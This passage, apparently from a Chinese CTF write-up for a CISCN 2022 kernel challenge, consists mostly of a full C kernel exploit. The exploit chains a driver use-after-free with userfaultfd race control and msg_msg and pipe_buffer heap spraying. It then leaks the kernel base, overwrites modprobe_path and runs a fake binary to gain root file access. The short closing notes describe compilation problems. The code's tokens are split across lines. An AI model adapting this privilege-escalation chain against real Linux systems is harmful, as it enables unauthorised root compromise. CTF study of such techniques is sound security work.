];
sem_t sem_addmsg;
sem_t sem_editmsg;
sem_t edit_down;
sem_t edit_heap_next;
sem_t sem_edit_msg_for_modpath;
struct list_head {
size_t
next
;
size_t prev;
};
struct msg_msg {
struct list_head m_list;
size_t m_type;
size_t m_ts;
size_t
next
;
size_t security;
};
struct msg_msgseg {
size_t
next
;
};
/
/
struct msgbuf {
/
/
long
mtype;
/
/
char mtext[
0
];
/
/
};
int
getMsgQueue(void)
{
return
msgget(IPC_PRIVATE,
0666
| IPC_CREAT);
}
int
readMsg(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp)
{
return
msgrcv(msqid, msgp, msgsz, msgtyp,
0
);
}
/
*
*
*
the msgp should be a pointer to the `struct msgbuf`,
*
and
the data should be stored
in
msgbuf.mtext
*
/
int
writeMsg(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp)
{
((struct msgbuf
*
)msgp)
-
>mtype
=
msgtyp;
return
msgsnd(msqid, msgp, msgsz,
0
);
}
/
*
for
MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue
*
/
int
peekMsg(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp)
{
return
msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}
void buildMsg(struct msg_msg
*
msg, size_t m_list_next, size_t m_list_prev,
size_t m_type, size_t m_ts, size_t
next
, size_t security)
{
msg
-
>m_list.
next
=
m_list_next;
msg
-
>m_list.prev
=
m_list_prev;
msg
-
>m_type
=
m_type;
msg
-
>m_ts
=
m_ts;
msg
-
>
next
=
next
;
msg
-
>security
=
security;
}
typedef struct delete
{
size_t idx;
}delete_arg;
typedef struct edit
{
size_t idx;
size_t size;
char
*
content;
}edit_arg;
typedef struct add
{
size_t idx;
char
*
content;
}add_arg;
void ErrExit(char
*
err_msg)
{
puts(err_msg);
exit(
-
1
);
}
void add(char
*
content)
{
add_arg tmp
=
{
.content
=
content,
};
ioctl(fd,
0x20
,&tmp);
}
void delete(size_t idx)
{
delete_arg tmp
=
{
.idx
=
idx,
};
ioctl(fd,
0x30
,&tmp);
}
void edit(size_t idx,size_t size,char
*
content)
{
edit_arg tmp
=
{
.idx
=
idx,
.size
=
size,
.content
=
content,
};
ioctl(fd,
0x50
,&tmp);
}
void leak(size_t
*
content,size_t size)
{
printf(
"[*]Leak: "
);
for
(
int
i
=
0
;i<(
int
)(size
/
8
);i
+
+
)
{
printf(
"%llx\n"
,content[i]);
}
}
void RegisterUserfault(void
*
fault_page, void
*
handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
size_t uffd
=
syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api
=
UFFD_API;
ua.features
=
0
;
if
(ioctl(uffd, UFFDIO_API, &ua)
=
=
-
1
)
ErrExit(
"[-] ioctl-UFFDIO_API"
);
ur.
range
.start
=
(unsigned
long
)fault_page;
/
/
我们要监视的区域
ur.
range
.
len
=
PAGE_SIZE;
ur.mode
=
UFFDIO_REGISTER_MODE_MISSING;
if
(ioctl(uffd, UFFDIO_REGISTER, &ur)
=
=
-
1
)
/
/
注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
ErrExit(
"[-] ioctl-UFFDIO_REGISTER"
);
/
/
开一个线程,接收错误的信号,然后处理
int
s
=
pthread_create(&thr, NULL,handler, (void
*
)uffd);
if
(s!
=
0
)
ErrExit(
"[-] pthread_create"
);
}
static char
*
page
=
NULL;
/
/
你要拷贝进去的数据
static char
*
buf
=
NULL;
static char
*
buf2
=
NULL;
static char
*
buf3
=
NULL;
static
long
page_size;
static void
*
fault_handler_thread(void
*
arg)
{
struct uffd_msg msg;
unsigned
long
uffd
=
(unsigned
long
) arg;
puts(
"[+] sleep3 handler created"
);
int
nready;
struct pollfd pollfd;
pollfd.fd
=
uffd;
pollfd.events
=
POLLIN;
nready
=
poll(&pollfd,
1
,
-
1
);
puts(
"[+] sleep3 handler unblocked"
);
sem_post(&sem_addmsg);
if
(nready !
=
1
)
{
ErrExit(
"[-] Wrong poll return val"
);
}
nready
=
read(uffd, &msg, sizeof(msg));
if
(nready <
=
0
)
{
ErrExit(
"[-] msg err"
);
}
sem_wait(&sem_editmsg);
char
*
page
=
(char
*
) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,
-
1
,
0
);
if
(page
=
=
MAP_FAILED)
{
ErrExit(
"[-] mmap err"
);
}
struct uffdio_copy uc;
/
/
init page
memset(page,
0
, sizeof(page));
memset(tmp_buf,
0
,
0x50
);
tmp_buf[
3
]
=
0xd00
;
memcpy(page,tmp_buf,
0x50
);
/
/
strcpy(page,
"Lotus_just_Test"
);
uc.src
=
(unsigned
long
) page;
uc.dst
=
(unsigned
long
) msg.arg.pagefault.address & ~(PAGE_SIZE
-
1
);
uc.
len
=
PAGE_SIZE;
uc.mode
=
0
;
uc.copy
=
0
;
ioctl(uffd, UFFDIO_COPY, &uc);
puts(
"[+] sleep3 handler done"
);
return
NULL;
}
void UAF()
{
sem_wait(&sem_addmsg);
delete(
0
);
/
/
RED puts(
"in"
); CLOSE
int
ret
=
0
;
for
(
int
i
=
0
; i <
0x1
; i
+
+
)
{
ms_qid[i]
=
msgget(IPC_PRIVATE,
0666
| IPC_CREAT);
if
(ms_qid[i] <
0
)
{
puts(
"[x] msgget!"
);
return
-
1
;
}
}
for
(
int
i
=
0
; i <
0x2
; i
+
+
)
{
memset(msg_buf,
'A'
+
i,
0X400
-
8
);
ret
=
msgsnd(ms_qid[
0
], msg_buf,
0x400
-
0x30
,
0
);
if
(ret <
0
)
{
puts(
"[x] msgsnd!"
);
return
-
1
;
}
}
RED puts(
"[*] msg_msg spraying finish."
); CLOSE
sem_post(&sem_editmsg);
}
static void
*
fault_handler_thread2(void
*
arg)
{
struct uffd_msg msg;
unsigned
long
uffd
=
(unsigned
long
) arg;
puts(
"[+] edit heap->next handler created"
);
int
nready;
struct pollfd pollfd;
pollfd.fd
=
uffd;
pollfd.events
=
POLLIN;
nready
=
poll(&pollfd,
1
,
-
1
);
puts(
"[+] edit heap->next handler unblocked"
);
sem_post(&edit_heap_next);
if
(nready !
=
1
)
{
ErrExit(
"[-] Wrong poll return val"
);
}
nready
=
read(uffd, &msg, sizeof(msg));
if
(nready <
=
0
)
{
ErrExit(
"[-] msg err"
);
}
sem_wait(&edit_down);
char
*
page
=
(char
*
) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,
-
1
,
0
);
if
(page
=
=
MAP_FAILED)
{
ErrExit(
"[-] mmap err"
);
}
struct uffdio_copy uc;
/
/
init page
memset(page,
0
, sizeof(page));
memcpy(page,fake_ops_buf,
0x208
);
/
/
leak(page,
0x208
);
/
/
strcpy(page,
"Lotus_just_Test"
);
uc.src
=
(unsigned
long
) page;
uc.dst
=
(unsigned
long
) msg.arg.pagefault.address & ~(PAGE_SIZE
-
1
);
uc.
len
=
PAGE_SIZE;
uc.mode
=
0
;
uc.copy
=
0
;
ioctl(uffd, UFFDIO_COPY, &uc);
puts(
"[+] edit heap->next handler down!"
);
return
NULL;
}
void UAF2()
{
sem_wait(&edit_heap_next);
delete(
0
);
sem_post(&edit_down);
}
void modprobe_path_hijack(void){
puts(
"[*] Returned to userland, setting up for fake modprobe"
);
system(
"echo '#!/bin/sh\nchmod 777 /flag\n' > /tmp/Lotus.sh"
);
system(
"chmod +x /tmp/Lotus.sh"
);
system(
"echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake"
);
system(
"chmod +x /tmp/fake"
);
/
/
system(
"cat /proc/sys/kernel/modprobe"
);
puts(
"[*] Run unknown file"
);
system(
"/tmp/fake"
);
system(
"ls -al /flag"
);
system(
"cat /flag"
);
RED puts(
"[*]Get shell!"
); CLOSE
sleep(
5
);
}
int
main()
{
pthread_t edit_t,edit2_t;
msg_buf
=
malloc(
0x1000
);
memset(msg_buf,
0
,
0x1000
);
fd
=
open
(
"/dev/kernelpwn"
,O_RDWR);
buf
=
(char
*
) mmap(NULL,
0x1000
, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,
-
1
,
0
);
/
/
for
edit msg
-
>m_ts
buf2
=
(char
*
) mmap(NULL,
0x1000
, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,
-
1
,
0
);
/
/
for
spray the msg_msg
and
edit msg
-
>
next
RegisterUserfault(buf,fault_handler_thread);
RegisterUserfault(buf2,fault_handler_thread2);
sem_init(&sem_addmsg,
0
,
0
);
sem_init(&sem_editmsg,
0
,
0
);
sem_init(&edit_heap_next,
0
,
0
);
sem_init(&sem_edit_msg_for_modpath,
0
,
0
);
sem_init(&edit_down,
0
,
0
);
add(
"TEST_chunk"
);
pthread_create(&edit_t,NULL,UAF,
0
);
pthread_create(&edit2_t,NULL,UAF2,
0
);
edit(
0
,
0x20
,buf);
GREEN puts(
"[*]Write in!"
); CLOSE
for
(
int
i
=
0
; i <
1
; i
+
+
)
{
if
(pipe(pipe_fd[i]) <
0
)
{
RED puts(
"failed to create pipe!"
); CLOSE
}
if
(write(pipe_fd[i][
1
],
"_Lotus_"
,
8
) <
0
)
{
RED puts(
"failed to write the pipe!"
); CLOSE
}
}
RED puts(
"[*] pipe_buffer spraying finish."
); CLOSE
memset(tmp_buf,
0
,
0x1000
);
if
(peekMsg(ms_qid[
0
],tmp_buf,
0xe00
,
0
)<
0
)
{
RED puts(
"[*]Leak error!"
); CLOSE
}
/
/
leak(tmp_buf,
0xd00
);
kernel_base
=
tmp_buf[
0x7e8
/
8
]
-
0x103ed80
;
size_t pipe_addr
=
tmp_buf[
0x3e0
/
8
]
+
0xc00
;
BLUE printf(
"[*]Kernel_base: 0x%llx\n"
,kernel_base); CLOSE
BLUE printf(
"[*]pipe_addr: 0x%llx\n"
,pipe_addr); CLOSE
close(pipe_fd[
0
][
0
]);
close(pipe_fd[
0
][
1
]);
/
/
size_t push_rsi_pop_rsp
=
real(
0xffffffff81934056
);
/
/
push rsi; pop rsp; retf;
/
/
size_t push_rsi_pop_rbp
=
real(
0xffffffff81422d1f
);
/
/
push rsi; pop rbp; ret;
/
/
size_t call_rsi_leave_ret
=
real(
0xffffffff81c0114d
);
/
/
call rsi; nop; nop; nop; leave; ret;
size_t modprobe_path
=
real(
0xffffffff82a6c000
);
memset(fake_ops_buf,
0x61
,
0x800
);
fake_ops_buf[
0x200
/
8
]
=
modprobe_path
-
0xc0
;
add(
"Lotus_chunk"
);
edit(
0
,
0x208
,buf2);
for
(
int
i
=
1
; i <
0x3
; i
+
+
)
{
ms_qid[i]
=
msgget(IPC_PRIVATE,
0666
| IPC_CREAT);
if
(ms_qid[i] <
0
)
{
puts(
"[x] msgget!"
);
return
-
1
;
}
}
size_t modprobe_path_buf[
0x80
];
memset(modprobe_path_buf,
0
,
0x400
);
int
idx
=
0x34
;
modprobe_path_buf[idx
+
+
]
=
real(
0xffffffff82a6c108
);
modprobe_path_buf[idx
+
+
]
=
real(
0xffffffff82a6c108
);
modprobe_path_buf[idx
+
+
]
=
0x32
;
modprobe_path_buf[
0
]
=
0xdeadbeef
;
modprobe_path_buf[
0x13
]
=
0x746f4c2f706d742f
;
modprobe_path_buf[
0x14
]
=
0x68732e7375
;
for
(
int
i
=
1
; i <
0x3
; i
+
+
)
{
int
ret
=
msgsnd(ms_qid[i], modprobe_path_buf,
0x400
-
0x30
,
0
);
if
(ret <
0
)
{
puts(
"[x] msgsnd!"
);
return
-
1
;
}
}
RED puts(
"[*]edit modprobe_path success."
); CLOSE
modprobe_path_hijack();
}
|
这里由于gcc
编译的poc
文件过大,远程超时,因此我选择musl-gcc
进行编译。
但是奇怪的是,按理来说两种编译方式不会对poc
造成影响,gcc的可以正常运行,而musl-gcc
在modprobe_path_hijack
后,第一次调用system
时,内核会panic在slub里。
估计是system系统调用execve
申请内存时,寄在了某一个没有修复好的freelist
里,但是我的这种解法,应该是无法修复freelist
的。
后续选择uclibc
进行编译就成功了。如果有读者了解为什么musl-gcc
编译出来会有这种情况,请务必教教我。
更多【从ciscn2022半决赛一道一解题浅析msg_msg结构体】相关视频教程:www.yxfzedu.com